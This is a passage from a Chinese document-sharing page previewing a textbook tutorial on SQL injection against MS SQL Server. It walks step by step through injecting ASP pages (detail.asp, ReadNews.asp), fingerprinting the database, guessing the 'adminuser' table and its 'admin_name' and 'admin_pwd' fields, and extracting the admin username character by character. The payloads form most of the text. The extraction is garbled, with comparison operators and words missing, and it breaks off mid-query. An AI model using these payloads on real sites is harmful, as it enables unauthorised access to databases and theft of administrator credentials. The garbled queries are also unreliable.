SQL注入攻击实例MS_SQL_Server.doc

  1. 1、本文档共5页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
SQL注入攻击实例MS_SQL_Server

实例——注入攻击SQL Server 第1步:加单引号/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示加单引号and 1=1”。如图6.3所示,在浏览器地址栏中/ detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回正常页面and 1=1” 第3步:测试“and 1=2”。如图6.4所示,在浏览器地址栏中/ detail.asp?productid=392后面加“and 1=2”,按Enter键后,服务器返回错误提示and 1=2” 如果一个网站不可以注入:显示 第4步:判断数据库类型/detail.asp?productid=392后面加“and user0”,按Enter键后,服务器返回错误提示QL Server数据库and user0” 如果是SQL Server数据库,那么网址页面与/detail.asp? productid=392”是一样的,如图6.6所示。 使用下面的语句: /detail.asp?productid=392 and (select count(*) from sysobjects)0 如果是SQL Server数据库,由于找不到表msysobjects,服务器返回错误提示对象名msysobjects无效。,程序有容错,服务器返回页面也与原页面不同使用下面的语句: /ReadNews.asp?NewsID=294 and (select count(*) from msysobjects)0,服务器返回错误提示不能读取记录;在msysobjects上没有读取数据权限。SQL Server数据库使用下面的语句: /ReadNews.asp?NewsID=294 and (select count(*) from sysobjects)0,服务器返回错误提示表名网站进行的测试。 如图6.10所示,在浏览器地址栏中/detail.asp?productid=392后面加“and (select count(*) from admin)=0”,按Enter键后,服务器返回错误提示admin”表。 图6.10 猜测表名失败 继续猜测表名,如图6.11所示,在/detail.asp?productid=392后面加“and (select count(*) from adminuser)=0”,返回正常页面,adminuser”表,猜测成功。 注意,猜测表名时也可以使用如下形式: /detail.asp?productid=392 and exists(select * from admin) /detail.asp?productid=392 and exists(select * from adminuser) 第6步:猜测字段名猜出表名后,将ount(*)替换成ount(字段名,用同样的猜解字段名。 /detail.asp?productid=392后面加“and exists (select count(name) from adminuser)=0”,按Enter键后,服务器返回错误提示name”用户名字段字段名字段名/detail.asp?productid=392后面加“and (select count(admin_name) from adminuser)=0”,返回正常页面admin_name”用户名字段名猜测字段名/detail.asp?productid=392 and (select count(admin_pwd) from adminuser)=0返回正常页面字段猜测成功字段名admin_pwd”。 第7步:猜测用户名已知表adminuser中存在admin_name字段,下面ASCII逐字解码法用户名。 首先,猜测用户名的长度/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)11”,含义是取第一条记录,测试用户名长度返回正常页面,用户名的长度用户名长度长度/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)12”,返回页面,用户名的长度用户名的长度用户名长度得到admin_name的长度,用unicode(substring(admin_name, N, 1))第N位字符ASCII码,比如:productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from ad

文档评论(0)

kakaxi + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档